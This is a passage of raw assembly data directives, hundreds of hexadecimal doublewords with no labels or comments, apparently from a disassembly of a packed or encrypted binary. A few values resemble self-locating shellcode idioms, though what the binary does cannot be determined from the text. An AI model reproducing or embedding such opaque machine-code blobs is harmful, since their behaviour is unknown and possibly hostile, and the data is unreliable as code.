		dd 8EE3C216h, 0C9948355h, 12E81EFCh, 37EED359h,	3E567760h
		dd 6929B823h, 0FF54596Eh, 591383B9h, 6A8289D3h,	0B0C5D287h
		dd 3A0512C7h, 3F237FA1h, 0F9C798EBh, 3C5BFEE1h,	3720F471h
		dd 92FF066Ch, 0C46863C7h, 6C3720F3h, 112A2DEFh,	0DFAE8DF8h
		dd 6338C732h, 472B7FDBh, 93B49553h, 0D2C5957Eh,	0EAEDACE5h
		dd 5D3A521Fh, 59249AD3h, 72DD74D3h, 0A84D8CC6h,	94551Bh
		dd 0AB530000h, 56E88E89h, 5EA9EEE1h, 9D05BF33h,	3E6FEE9h
		dd 1E574453h, 2C925D7Ah, 0A6CF7F07h, 0CEE607C9h, 582F67F1h
		dd 8E09D359h, 0CC978055h, 61CCE7FFh, 0A819FDB5h, 1441Bh
		dd 0C7420000h, 0DC150215h, 0ADAA6E39h, 29F415E2h, 0EA67445Ch
		dd 0E5622D2Ah, 0B0A77631h, 0A62FDEF6h, 0F305CCFh, 710C744h
		dd 0FE19BF3Ch, 0EA556E33h, 0FD68630Bh, 5FF9AE6Eh, 19021738h
		dd 0E9EEAE79h, 1B30511Eh, 457BC116h, 0CD358EBh,	58EB90C6h
		dd 0E18F96D3h, 4A4D09DAh, 14C74C32h, 19BB3803h,	716E33FEh
		dd 70A0D61Ch, 9FA6D359h, 410C0BCEh, 0D6415C74h,	0FAEA9447h
		dd 7A7DC2F3h, 0BFA8BDDEh, 0B60BF81Fh, 59093A70h, 213940D3h
		dd 611C744h, 72DDF63Bh,	0A798FCC6h, 8A451Bh, 0C7430000h
		dd 9F380314h, 0D5A0B766h, 0C8938458h, 0DFC2DAFBh, 0F8311E39h
		dd 0B4613225h, 0F30BD8A3h, 5CC7C216h, 1C090ECDh, 0CDCA8EC7h
		dd 21573502h, 27D35970h, 0F8E10820h, 0EA673225h, 0E3195F2Ch
		dd 0E9D35970h, 0B1F6C1E2h, 0B9812D98h, 1BA7FFh,	5Dh, 6A14C7FEh
		dd 0F5B330EBh, 6A3556E9h, 0F30AAFD1h, 0CC406BD2h, 81C6B912h
		dd 0F00897A7h, 2E83480Dh, 5926B2E8h, 0D3B1B8D3h, 0D359269Dh
		dd 0B07B9CA3h, 5CEB5667h, 9D899EB9h, 370215C7h,	597074ADh
		dd 4CB74ED3h, 0AB468A1h, 1229CF61h, 87527310h, 0E8A2A2BAh
		dd 311BA8D3h, 1, 611C72Fh, 0FB1CBE3Bh, 1106D50Eh, 0B37E9940h
		dd 76F1CEE6h, 9CF5EC9h,	7C9DBA5Eh, 7C58BD67h, 8468498Fh
		dd 676EDB01h, 68AE039Ch, 0DB018432h, 36193138h,	755E7364h
		dd 5DE7B2A5h, 0DB018425h, 7C475008h, 723D5AFFh,	0CEAD1829h
		dd 26B52031h, 54766374h, 35B3Bh, 2249612Fh, 3523FB1Dh
		dd 3DEE75EBh, 0FCB6F955h, 647CF51Bh, 0D9C6D181h, 0C4DCFBA0h
		dd 0AFA86AE7h, 0E525A0C2h, 871426EDh, 0B4CD926Fh, 0FF18BA49h
		dd 89C3E5EAh, 167A5198h, 8FC3C3DBh, 52E3FFCAh, 165h, 0C5110650h
		dd 0DEF99FD8h, 0A63DDE24h, 0D4EC148Bh, 0D09A8FD5h, 99A0DB00h
		dd 0E68151CEh, 0FF278C32h, 0C63C65EFh, 8874DAA5h, 181450AEh
		dd 1E335475h, 17C26535h, 0D9CF3500h, 0A586A1E7h, 0DAA5C6E7h
		dd 23B21F41h, 42E0917Ah, 0EBB88394h, 0FCFB2CAh,	0CA958258h
		dd 4C11DCFDh, 9939C833h, 2F63697Eh, 0F2E3F000h,	30h, 0C11506F0h
		dd 70388ED4h, 0DDFF5359h, 0CD278E5Fh, 56162E2Eh, 0C4FA844Fh
		dd 8D5358BDh, 0FC5DAD18h, 8FE52B18h, 95D358BDh,	0CE35798Eh
		dd 77000000h, 0D8C51106h, 18C3D92h, 713C43DBh, 483522F4h
		dd 334B4C0Fh, 4AE5070Ch, 0CA801269h, 34E6C9E1h,	59DB1157h
		dd 0DAE1DB02h, 3177CCB9h, 0DB0258FBh, 5E2FA01h,	25A407Bh
		dd 677023DBh, 0C17D1F9Ch, 994E8286h, 0ED9FA13h,	9E49B4C5h
		dd 1A22258h, 2128DBh, 3CE75263h, 268E5E1Ah, 162E04CDh
		dd 62A86333h, 0DB01932Ch, 1D0A2B32h, 0E46C1CFBh, 3D55A2F4h
		dd 5CEF1116h, 0FE7D2426h, 3522C6DEh, 669FF4E1h,	9F8FA7B0h
		dd 0E2B0EED1h, 8EE3D0D7h, 0B0EE1248h, 0F91118E2h, 0D8FF9F1Ch
		dd 7AE5920Dh, 0C81D2D2Ah, 0B0EE4C82h, 6D4B52E2h, 0E2B0EE37h
		dd 2815363Dh, 0D9FE9AD3h, 0B0EEC5FBh, 0E2F5A8E2h, 16152D34h
		dd 605002D0h, 0EC0108EAh, 0C5110600h, 73D83D8h,	0DD35970h
		dd 0A9EFEE06h, 0DB08D1DBh, 0B4EDDAE1h, 0FEDBF3E4h, 0B1C6D181h
		dd 360116C8h, 0D3244AACh, 0B96E2D35h, 6431FC1Bh, 59FB7843h
		dd 192A733Eh, 2C27CFAEh, 776032C1h, 25D97962h, 83C9F334h
		dd 35D2824Dh, 0C2924C53h, 0B7A0731Eh, 0DDFE1FECh, 0D6C19512h
		dd 0CCCB8E0Bh, 0C2D58401h, 3DA8A3F7h, 77E28F5Eh, 0FEF8AACCh
		dd 7A78E5C0h, 0D306FE34h, 0DCFD0435h, 2631E1C4h, 1D30C11h
		dd 16334E7Dh, 68896328h, 0AAAD6D50h, 307DFh, 0DC490000h
		dd 116C73Eh, 0FE19B936h, 0F6E1B633h, 0ECEBAE2Bh, 0E6F1A421h
		dd 0D8FF9E1Bh, 0CDCA900Dh, 0C4D38502h, 0BFD87CF9h, 89523CF4h
		dd 4C281E2h, 50000000h,	4B8h, 58C22900h, 5C241487h, 110C68h
		dd 241C8900h, 50FD68h, 24048900h, 0AF617868h, 241C8B07h
		dd 5404C483h, 8124048Bh, 4C4h, 0BD555200h, 8, 15DEA89h
		dd 5A1A89C2h, 582434FFh, 4C481h, 34FF0000h, 0C4815B24h
		dd 4, 0F918A2E9h, 7BE250FFh, 522CC7CFh,	0E14DF3D7h, 0ADB85B24h
		dd 307AF66h, 34E0FFC5h,	0E046EFD3h, 1C0F50B5h, 0FF0EE0C5h
		dd 0C4CA2F2h, 0F77947DAh, 0B17C812Ah, 8373150Fh, 9B7FD32Fh
		dd 5B497779h, 0AA392371h, 8A2CA0C0h, 5F6A5A7Dh,	6855FAC8h
		dd 5341829Eh, 0FE0E3722h, 0EDEB3CAh, 4A5730A8h,	0EDFFE8Ah
		dd 0EAD5ABA8h, 0EDC5675h, 4A543EA8h, 0AE5DBA8Ah, 4A54EB57h
		dd 0EDD468Ah, 0EAD5ABA8h, 0EDD0975h, 4A55D9A8h,	0EDD8B8Ah
		dd 4AAA5BA8h, 0E220D8Ah, 0EAD5ABA8h, 0D42F2575h, 12853C25h
		dd 36C6C003h, 90A75307h, 560D2D71h, 7242D121h, 0D42F4225h
		dd 12853DFAh, 36CEC003h, 90A75307h, 560D2C20h, 725ED121h
		dd 0D42F4225h, 12853EA9h, 36DAC003h, 90A75307h,	560D2FDCh
		dd 72AAD121h, 0D42F4225h, 12853E32h, 3626C003h,	90A75307h
		dd 560D2F69h, 72A6D121h, 0D42F4225h, 12853F8Ch,	3632C003h
		dd 90A75307h, 560D2EEFh, 72BED121h, 0D42F4225h,	12853F0Eh
		dd 363AC003h, 90A75307h, 560D2E55h, 72B6D121h, 0B8C34225h
		dd 152A5012h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 52C0D5F2h
		dd 96A5EAE2h, 152AA8EDh, 2429458Ah, 96E367A0h, 0D5ADBAB4h
		dd 152A54A1h, 5564C6CBh, 0EAD5BA41h, 0AE63CE75h, 0BD2EDD3Ah
		dd 5342848Dh, 0EA2211ABh, 245D55FFh, 9C3AABA4h,	0DAC3B9CFh
		dd 0D7E3A8EDh, 0DAF74586h, 0E9EED744h, 59D7CEEAh, 0D2262923h
		dd 51A2B9CFh, 0AD6C54A8h, 51A24162h, 0BFEA6603h, 0DB2FEE27h
		dd 128525B6h, 1129475h,	0BA0D902h, 0AEA5EAFBh, 51A1EC79h
		dd 0DC0941AEh
		dd 0BA5B4A22h, 3773BA8Dh, 732ADF10h, 4F28C821h,	0EA2DFBD9h
		dd 152BFD5Bh, 9881508Ch, 0FED35B00h, 0A5FBABAFh, 2C89EFD2h
		dd 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 0FD4AA86Ch
		dd 51A2458Ah, 12C0D5F2h, 0DAA5EAE3h, 68A15CDDh,	0ADE78286h
		dd 152A54A8h, 2030BACCh, 9E2DFCAEh, 0FC69CE52h,	0A5B99783h
		dd 0FA31EFE2h, 0BA0D9F9h, 0AEA5EAFBh, 949A0D79h, 551A2320h
		dd 8481328Ch, 5DDF6E21h, 74D62921h, 985E0001h, 402A5C6Ah
		dd 9521A901h, 15C23454h, 0BA2458Ah, 7C74BE29h, 24294225h
		dd 1957DFA0h, 515E004Dh, 532A54A8h, 57D3D775h, 0CDA15300h
		dd 0FC69CE19h, 0A5B9979Bh, 0FA31EFE2h, 0BA0D9F9h, 0AEA5EAFBh
		dd 949A0D79h, 651A2320h, 8481328Ch, 5DDF6E21h, 74D62921h
		dd 985E0001h, 402A5C6Ah, 9521A901h, 60A13454h, 5DDFCE82h
		dd 15D6116Fh, 0FDA2458Ah, 1DC9953Bh, 919197B9h,	38F2DE04h
		dd 51A2454Ah, 1AD5A828h, 51A25E0Eh, 1523EDA8h, 0A055458Ah
		dd 9025862Dh, 51A24586h, 7332A328h, 37AA8E4Bh, 0BE4C9723h
		dd 0D8AE38A1h, 9E4BA8D5h, 936BB9CFh, 9E7F54A0h,	0AD66C666h
		dd 1D5FDFC8h, 96AE3801h, 152AA8EDh, 0C20E458Ah,	2622B769h
		dd 0FD627658h, 0D5078C22h, 0D1A2458Ah, 9125AB54h, 51A24593h
		dd 152A5D11h, 0D453B28Ah, 1FAF5B7Ah, 0E0A2458Ah, 93E25610h
		dd 9191EF4Bh, 19577F03h, 305E3803h, 0DCD61123h,	4A24D48h
		dd 0D1A9B823h, 24292576h, 1957DFA0h, 515E004Dh,	0B92A54A8h
		dd 0B2229D00h, 85E1D4A7h, 0DC088600h, 0BA5B4A22h, 0E173BA8Dh
		dd 9FA7FEF8h, 560D3494h, 0D6A08557h, 5DDF6E20h,	74D62921h
		dd 985E0001h, 402A5C6Ah, 9521A901h, 60A13454h, 5DDFCE82h
		dd 15D6116Fh, 0E9A2458Ah, 152A54AFh, 552BD775h,	45265300h
		dd 4F28C820h, 0EA2DFBD9h, 0FB2BF55Bh, 3186949Bh, 59622E85h
		dd 0A58050ACh, 2C89EFAEh, 0E957DDA4h, 0ADE7CEEBh, 15229661h
		dd 0D24ECEDFh, 9E4AA86Ch, 2C294DFFh, 0E96F93A4h, 51A2458Ah
		dd 87D5FE04h, 560A43FBh, 17868C23h, 0DB2FEF49h,	128525B6h
		dd 0E9C49475h, 0BE4CBD28h, 7A088600h, 68A358D5h, 14292476h
		dd 1DE89D54h, 0BD29108Ah, 75D6902Bh, 0DAAA3001h, 50ED58D5h
		dd 51A24576h, 0EA80F8A8h, 0F9A43418h, 0B9E2DFAFh, 0DC088558h
		dd 0BA5B4A32h, 3771BA8Dh, 73E39410h, 0FB63CF21h, 9C262983h
		dd 0DAC3B9F7h, 0D7E3A8EDh, 0DAF74582h, 0E9EED744h, 59D7CEEAh
		dd 0D2262923h, 51A2B9CFh, 0BF8654A8h, 57D3D775h, 0DDA15300h
		dd 0FB637726h, 6434CE25h, 825D4225h, 0E4AAECCEh, 9028EEECh
		dd 19577F02h, 305E3803h, 0DCD61123h, 4A24D48h, 0D1A9B823h
		dd 24292576h, 1957DFA0h, 515E004Dh, 732A54A8h, 376B7732h
		dd 0BB0D903h, 0AEA5EAFBh, 9592327Bh, 0FD09234Bh, 6801FE04h
		dd 0ADDFCC86h, 0E96FDFC9h, 51AA8743h, 96C6DFFDh, 0DAC2B94Eh
		dd 68A15CDDh, 0ADE78286h, 152A54A8h, 0B824FDECh, 8FA7FFCEh
		dd 560D3494h, 0A09A8757h, 0FB0E0320h, 6434CE25h, 825D4225h
		dd 0D8ACECCEh, 2C89EEECh, 0E957DDA4h, 0ADE7CEEBh, 15229661h
		dd 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 3AC0D5F2h, 96A5EAE6h
		dd 152AA8EDh, 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch
		dd 5E89798Ah, 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah
		dd 152A382Ch, 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah
		dd 51D6AC8Ah, 60D554A8h, 59D7BA86h, 724ECE25h, 0DCF14225h
		dd 0BA426F32h, 0D871BA8Dh, 42C3A8EDh, 0AEA2458Ah, 60D558DDh
		dd 2538C882h, 462DFBCFh, 3999DF07h, 0C6D55307h,	0B85E0003h
		dd 152A5492h, 0AEAE3075h, 8FA75CDDh, 560D220Ah,	2EB0D9FBh
		dd 0AEA5EAE2h, 0E96FDD7Bh, 51A25863h, 195FABA8h, 0DCAA3075h
		dd 0BA4DD832h, 0CB2F168Dh, 12853C93h, 142B9675h, 152ABD54h
		dd 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h, 0E8000030h, 9, 5456D56Ah
		dd 941A54A0h, 8E0F6Fh, 5B000000h, 5E9h,	75A2E300h, 0C381BCB9h
		dd 5BF6h, 2B73CD80h, 1F34FFFFh,	14E9h, 4F8DA100h, 46EF406Bh
		dd 0A0A40774h, 4BB56504h, 0EBFBF09Ah, 0BF0F5E72h, 9EEE81D3h
		dd 0E963DC20h, 0Eh, 0BA0A64F2h,	34DDD72Ch, 573D7E7Dh, 0EE8135D6h
		dd 844F1A2h, 0FFD18166h, 22F68154h, 0E83994FDh,	8, 525B23C4h
		dd 81BAB11Ch, 8E8h, 17DDA000h, 0DCC150CEh, 0C88B66C0h
		dd 34895858h, 0BE93Bh, 438F0000h, 6A08CDC1h, 8311E541h
		dd 5E83Bh, 0A5FC0000h, 0F53CB1C6h, 4EF8358h, 3FB1F0B8h
		dd 0CCFF8157h, 0FFFFFA4h, 0FFFF6485h, 0BF0F52FFh, 8D8D59D2h
		dd 7AF6EA3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	0BAC35545h, 8D89DE8Bh, 7A81731h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 16h, 8FC35141h, 296019D5h
		dd 0A80635BDh, 5BFC5607h, 92AABA61h, 85C70BA0h,	7A80A59h
		dd 718Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	1EC35141h, 5BF1E435h, 41BBF78Bh, 0C77E333Dh, 0A8093985h
		dd 7, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 0A4EAD44Eh, 959D8B65h, 0FF07A82Fh
		dd 0A82FC5B5h, 0B4F96007h, 95FF610Dh, 7A81A99h,	7A38BB50h
		dd 8B5A6296h, 0A8235185h, 0FF006A07h, 0A80D2195h, 0EBC08B07h
		dd 0A7D3CC4Eh, 0BDD6AF5Fh, 88E06071h, 0A90FC3F6h, 0C1E2A608h
		dd 0B763997Eh, 0DBC43B49h, 0FD985EF2h, 0A3C06D0Ch, 9796D125h
		dd 55BA6D6Eh, 0D3FCE655h, 41F79C57h, 0FAB024E8h, 0E4F05D12h
		dd 0C59713C2h, 53B79DDBh, 0AA5F7CD3h, 7E824E26h, 0E9141AD4h
		dd 3Bh,	0A9BD8B60h, 8307A80Eh, 0C93304EFh, 20BBC18Bh, 83EDB883h
		dd 8BE04C7h, 0D1000000h, 23D21BE8h, 4EC233D3h, 0FFF1850Fh
		dd 8941FFFFh, 0F98107h,	0F000001h, 0FFFFD382h, 8BC361FFh
		dd 2AE9C8h, 4C70000h, 24h, 0E800h, 815D0000h, 0AF6F49EDh
		dd 24448B07h, 45858904h, 0B807A82Ah, 0
		dd 4E4D8D8Dh, 0E1FF07A8h, 6754B8h, 0FDED5500h, 0F67A5E75h
		dd 0E669A476h, 0FD49BC56h, 0FD254376h, 0FD2562D4h, 0FD257515h
		dd 0FD25FC8Bh, 0FD253A65h, 0FD25D853h, 0FD25A938h, 0FD251119h
		dd 0FD254DF4h, 0FD256233h, 0FD257508h, 0FD25F16Dh, 0FD253ACEh
		dd 0FD25D8AFh, 0FD25A988h, 0FD251F34h, 0FD254C98h, 358A259Dh
		dd 0D6A22295h, 0DE714A76h, 0F44BBD5Ch, 0FD7A5A5Ch, 0F5722775h
		dd 0FD799775h, 0FD78CB74h, 0F57DED73h, 0FC7BF374h, 0FC7B7874h
		dd 0FD7ABC75h, 0FD7A5E75h, 0A3910B76h, 0A396E575h, 0FD7ACB75h
		dd 0FC7BE475h, 0FC7BF374h, 0F8B29074h, 701ABC75h, 5209DAF0h
		dd 46FFA672h, 707D381Ah, 520951F0h, 86FF6C72h, 707D5D1Ah
		dd 5209A1F0h, 4AFF3572h, 707DF11Ah, 520917F0h, 82FF1E72h
		dd 707D641Ah, 520812F0h, 7EFF7B72h, 707DD61Ah, 520B29F0h
		dd 7AFFD772h, 707D801Ah, 520B30F0h, 76FF4272h, 707D4A1Ah
		dd 520B4FF0h, 72FFF072h, 707D131Ah, 520846F0h, 66FFA672h
		dd 707D381Ah, 520B2FF0h, 6EFF6C72h, 707D5D1Ah, 52087AF0h
		dd 6AFF3572h, 707DF11Ah, 520837F0h, 66FF1E72h, 707D641Ah
		dd 5208B7F0h, 56FF7B72h, 707DD61Ah, 5208CDF0h, 52FFD772h
		dd 707D801Ah, 520803F0h, 4EFF4272h, 707D4A1Ah, 52082FF0h
		dd 62FFF072h, 707D131Ah, 52094AF0h, 5EFFA672h, 707D381Ah
		dd 520964F0h, 5AFF6C72h, 767D5D1Ah, 557C08F0h, 9FF3572h
		dd 767DF11Ah, 557EA6F0h, 5FF1E72h, 9C7D641Ah, 11F1B0B6h
		dd 0FD7AF29Dh, 17FB2375h, 0FAD5CD7Dh, 0F53FD525h, 9289ADFDh
		dd 342290DAh, 0AC7ACFB7h, 0AD29B723h, 0FD7A1A20h, 7C277975h
		dd 520B9598h, 87FFA072h, 7D7D801Ah, 5215EDC8h, 0B409CF72h
		dd 4B75E4C5h, 89BAF9B5h, 5EF8635h, 0BD7D131Ah, 452B96FEh
		dd 0FD7A2F7Ah, 9282028Ah, 48F7CCDAh, 0FAD58A0Eh, 50FCC6F8h
		dd 0FD7E4B9Dh, 456FCF75h, 0FD7A5E76h, 9282BA8Ah, 48F790DAh
		dd 0FAD5A40Eh, 50FCD1F8h, 1F23228Ah, 87F787BCh,	0A07D131Ah
		dd 0A320052Dh, 6D92EC2Ch, 4D7A9777h, 5779C1CDh,	928E708Ah
		dd 3ED1F5DAh, 0FD78079Dh, 9BC2DA75h, 9B5954CDh,	9EFD0DEh
		dd 9B7D381Ah, 959208DEh, 0B7AE577h, 8872F336h, 9EF866Eh
		dd 4D7D131Ah, 0AD7954C5h, 928EBA8Ah, 9B2090DAh,	9B7E2BF6h
		dd 561C277Eh, 0FF6B1AB6h, 15297975h, 0FD7ABE4Eh, 89A0652Fh
		dd 3D59A57Bh, 0DF709491h, 4DBA07F5h, 3ED183FEh,	0FD7B009Dh
		dd 0E1922A75h, 0A77ABC77h, 120E844Eh, 16D049C5h, 0FCA77FA9h
		dd 0BE8CCB75h, 0D30FED74h, 0FF7B1A26h, 0B207975h, 8872BD36h
		dd 89A06554h, 3D59A568h, 0DF709491h, 4DBA07F5h,	6885B5FFh
		dd 0FAD59D81h, 0FD5F1F2Fh, 3F71DA51h, 4DB9F513h, 0BD9285E9h
		dd 4D7A9774h, 359261F4h, 157AE574h, 0FD7AF22Dh,	0FC5791DEh
		dd 60CABC75h, 61CA9DDFh, 0FC5BC7DFh, 451C9775h,	561C4A13h
		dd 0FD7B439Dh, 0FD4C1A75h, 561C7975h, 0FD7BB69Dh, 57E7EE75h
		dd 57E69FB6h, 0FD7A699Dh, 0FCF32375h, 0BE8CE575h, 0F20FFA74h
		dd 15D0F9C5h, 0FD7ABC65h, 0F99EDEDFh, 1584487Dh, 0FD7A97AAh
		dd 3ED056C5h, 0FD7AE2CDh, 5EF0D75h, 707DD61Ah, 521503C0h
		dd 518A5D72h, 2D02C7Fh,	521563E0h, 0E5920872h, 4D7AE574h
		dd 5779F825h, 2844B9Dh,	0FC43548Ah, 0A5CA5E75h,	3ED02C7Fh
		dd 4DD0C7C5h, 0E1926127h, 9B851A8Bh, 9B4BFDCDh,	36B91DEh
		dd 0A7CA438Ah, 5722EEDFh, 57929FB6h, 0C923C22h,	0A77ACB75h
		dd 3F5122FEh, 747E1AF6h, 8B9177h, 592438Ah, 4D7A5E75h
		dd 5779252Dh, 8CFF69B6h, 7D7D641Ah, 521594C8h, 0EC0FF372h
		dd 9299FCF8h, 152ABBDAh, 0FD7A5C61h, 0FD781B9Dh, 571A2775h
		dd 287759Dh, 0C30D8Ah, 9CCA0D8Ah, 8CF787DFh, 7D7D131Ah
		dd 52152FC8h, 0F10F2F72h, 929912F8h, 152ACCDAh,	0FD7AE4DEh
		dd 0FD7E4AB6h, 68857975h, 0FAD5D38Dh, 893AC3F8h, 0F9F028DAh
		dd 4DB93D6Dh, 562D619Ch, 0FD7A8E9Dh, 3AF1A875h,	15F9BB5Eh
		dd 3E783571h, 928ECB8Ah, 4ACE28DAh, 0FF0E9651h,	0F2CA74C1h
		dd 0C9924E13h, 0AE7AF275h, 0FD7A279Dh, 0FEF0E675h, 0F179BEB5h
		dd 577825B5h, 9EF68B6h,	7D7D641Ah, 39FAEA91h, 9B7542F5h
		dd 15D12EDEh, 285415Ah,	0D6BDD52Fh, 0F992ACB7h,	45B995FCh
		dd 0FD7ACB73h, 9282708Ah, 60F7F5DAh, 0FAD516A2h, 3E39A0F8h
		dd 0FD7A4ECDh, 5EFD075h, 7E7D381Ah, 35F1CEB5h, 9EF1A89h
		dd 577D5D1Ah, 15B98E97h, 28543BEh, 0D97B1DFFh, 778E5A72h
		dd 0FC6C7F76h, 1608CB75h, 8831DB6h, 11F1A789h, 9D86BDF6h
		dd 0FD7ABC9Dh, 17FB0475h, 0FAD55B25h, 7D86EAFCh, 521538CFh
		dd 7975E572h, 0FD7AF2ECh, 0FD7A73CDh, 5E84375h,	0BD7DF11Ah
		dd 9286ADFCh, 35F190DAh, 885E79F8h, 6F85E2DAh, 0FAD59D81h
		dd 1F3C7FFDh, 0FD6D0480h, 7F795E75h, 0FAD54089h, 0E5E01A35h
		dd 7E7D6400h, 0FEF3E1B6h, 0FD644B22h, 77797975h, 0FAD5D389h
		dd 887CECF8h, 598928DAh, 0FD722F2Bh, 6F85CB75h,	0FAD58A8Dh
		dd 897E0AF6h, 447C7185h, 0FD7ABC72h, 0F24B5A7Dh, 1EBBF7C3h
		dd 0FD742E76h, 0E172CB75h, 0FD765C44h, 0F972F275h, 0FD61C044h
		dd 0F972BC75h, 0FD66E744h, 0F9722F75h, 15B7F44h, 80F3348Ah
		dd 80F18489h, 0ADB93B89h, 0FD7A7F9Dh, 2229C75h,	0A58E7A11h
		dd 55E6BFCh, 0D93E16E9h, 0C92CB389h, 0AD3A7867h, 0FD7AF2B6h
		dd 0FD7A7975h, 0A87ABC75h, 151AB2FEh, 0FD7A2F75h, 0CA90162Fh
		dd 707D6400h, 520AE5CFh, 0F50F7972h, 0FD7A71CCh, 9CDE4F75h
		dd 0FD7E9CBCh, 0FDE7A226h, 7D7D3805h, 887BD349h, 1683BE71h
		dd 3E82A977h, 9D96F220h, 0FD7ABC9Dh, 17FB0475h,	0FAD55A05h
		dd 8D7A25F8h, 80F1CCDAh, 0FD725C7Dh, 5989F275h,	0F9B8B014h
		dd 40F7DC75h, 0FAD52E75h, 0F5C3EF46h, 0E7A9775h, 9DB9AADFh
		dd 8D7A58F8h, 0C2FBF5DAh, 0FC7B7874h, 82FBB000h, 0FC7B5F71h
		dd 4795A74h, 9C82969Eh,	40F7ABB6h, 0FAD59575h, 0FD7AF3CDh
		dd 0FD72C075h, 5789BC75h, 3DF19D14h, 78F7EFFEh,	0FAD5E778h
		dd 0CA8BD08Ah, 67BE0CEBh, 0D770D86h, 227B4393h,	0F2E935EFh
		dd 0E9000005h, 5E6h, 0F3080FD0h, 384D4A0Ah, 798E894Fh
		dd 0B8CDCA90h, 0F60B0CCFh, 11C4E1E8h, 5108F106h, 93483146h
		dd 0D4866F84h, 2FCEAEC3h, 0A9FBB3E9h, 711FB9CBh, 350017C7h
		dd 29F4E3B8h, 1FEAEDACh, 19E4F3A2h, 692EF99Ch, 0E9824D6Eh
		dd 70184E94h, 99DFD359h, 0D3597063h, 0ADB46269h, 0F3E4B295h
		dd 1EEDAB28h, 5970A2D8h, 80A1A8D3h, 736438B5h, 0D7ED0FA8h
		dd 20229FDDh, 4EC76B83h, 0BB609986h, 3F85849Ch,	0DB0824E6h
		dd 9D1AE5ECh, 0DEC7DCFBh, 0FDAA6D3Ah, 0F718395Eh, 950BA22Ch
		dd 1C17E53Eh, 6BB106B1h, 0E53E9535h, 391C343Bh,	0B963789Fh
		dd 215C85Ch, 0A5706731h, 0A8CAB7D8h, 8F49B498h,	36F0BD88h
		dd 592A74C9h, 2CF9ABDh,	4196EBEAh, 3F03C5FBh, 0E5F2A8E5h
		dd 989F4D1Ah, 793B9080h, 3A41ECEEh, 5146144Dh, 3ADF5C39h
		dd 21F7301Dh, 0CD9E6B36h, 703D080Fh, 0A2C3158h,	7AD9BE5h
		dd 6D506815h, 4BE4AFA8h, 41874412h, 0ECEEA30Bh,	0D1E90A11h
		dd 11A9EBE1h, 5C0BCE31h, 6D39EB9h, 0F89D1AE5h, 87D14DFh
		dd 484F0E9Dh, 0E78FB07Dh, 9DD681ECh, 420FDAFDh,	8592472Ah
		dd 8551C670h, 0CEC55298h, 0C4CB38B9h, 702760F9h, 255F4F67h
		dd 4038B9CEh, 5A10BC27h, 9F8137A3h, 7, 36C6C9Dh, 0C7AE0000h
		dd 0BD3A0512h
		dd 0BC4B631Bh, 65390413h, 781E5744h, 0AFC7945Fh, 928555D2h
		dd 888F4AC7h, 74DFF8BDh, 0CA35AA95h, 64799E3Bh,	0EEB9DE7Bh
		dd 93D0786Dh, 0DBFC9928h, 1C3BDDC6h, 1106D451h,	13ACB46h
		dd 0ED2DA757h, 4292E1F5h, 0CF895621h, 3D6DDAA5h, 6B869E0Bh
		dd 0E4A77100h, 589A689Eh, 46676ED3h, 3A433759h,	5218F10Bh
		dd 0F41D133Ah, 0BB5095E0h, 0A9C1D682h, 0EB0017C6h, 75405702h
		dd 6B3621F8h, 9DE33817h, 5095E167h, 334E666Dh, 799E39C8h
		dd 9780538Ch, 380314C6h, 0E82C536Bh, 0BAh, 0C71F062Ah
		dd 0B8DF7FFCh, 0F91EBAA3h, 706EA42Eh, 0A653D359h, 0EBECAC3Bh
		dd 2D2AEDD6h, 0E56F1E40h, 0A2A94137h, 6E30AD8Ah, 76219E69h
		dd 7A199661h, 0CDEEE9ADh, 8BF66B02h, 9E0904ACh,	3A4F480Fh
		dd 649AE035h, 6AD35938h, 0B1684B63h, 942DBA6h, 1A804B4Ch
		dd 4747B57Fh, 6F87A844h, 0E1CEC98Ch, 16E7F0A8h,	0BF8C5740h
		dd 0A24FCAA7h, 0E6F1A837h, 2235E8D1h, 4EE0D657h, 28EB7AE5h
		dd 64311A2Fh, 38648673h, 0C98300CFh, 65EFCCE4h,	0D359582Ch
		dd 903BA6CFh, 0C9948357h, 6E8F884Ch, 1A67356h, 0D4C39156h
		dd 501B3C09h, 53756283h, 0FD7972B1h, 1F465E15h,	2433E11Ah
		dd 12C7260Ch, 4CA13A05h, 5970D006h, 7F1FD6D3h, 9FC08D58h
		dd 0E0F7A487h, 0CC375015h, 2334E821h, 1B3CDB58h, 4A628350h
		dd 90A5B267h, 59753D9Ah, 88BE04D3h, 6BD35975h, 0F7FEACABh
		dd 6A3E8D6h, 3E93E458h,	596DC2F8h, 86EABCD3h, 0E62F85B2h
		dd 0FD193138h, 0FFFFFEF1h, 11478DE2h, 17D358BEh, 612F810h
		dd 51461511h, 9ABBDC80h, 0B5A274ADh, 3589E9Dh, 0CADB018Ch
		dd 63BA9BA8h, 0E11A2052h, 698842B2h, 597E1A0Eh,	59602038h
		dd 5641118Eh, 91865841h, 46164FA4h, 0DBB98651h,	0DB019DA5h
		dd 0AF8CA4ABh, 0A8736432h, 5FEE5954h, 7E8398BFh, 6D859245h
		dd 4CFC88Ah, 19D417Ah, 58C3DCDBh, 0F90E09C9h, 0FE19BBF4h
		dd 6B4E6633h, 0A3E1ACABh, 2F7562B2h, 0E2A9C1A2h, 0E28CA1A8h
		dd 6EB4A175h, 0EA59371Dh, 0D40A5023h, 0DAEA5937h, 4EE7B2D3h
		dd 377DB3F9h, 7C83EA59h, 0D4ECEBABh, 0D48324F1h, 0A48DA2C3h
		dd 98CE14F7h, 92EA5937h, 65E3101Bh, 6118C69Ch, 5E7FA0B7h
		dd 9B720993h, 8155F48Fh, 8A4ECB96h, 9045C28Dh, 0BC279C87h
		dd 47686F2Dh, 0ED7CE75Ch, 0BFD87F28h, 0F10627F4h, 59465108h
		dd 925D7A20h, 5C92D8C5h, 62F48F9Bh, 0E966435Bh,	0E3195F2Ch
		dd 0E9F48F9Bh, 0B1F6C1E2h, 49822D98h, 7070888Fh, 0C561D43Ah
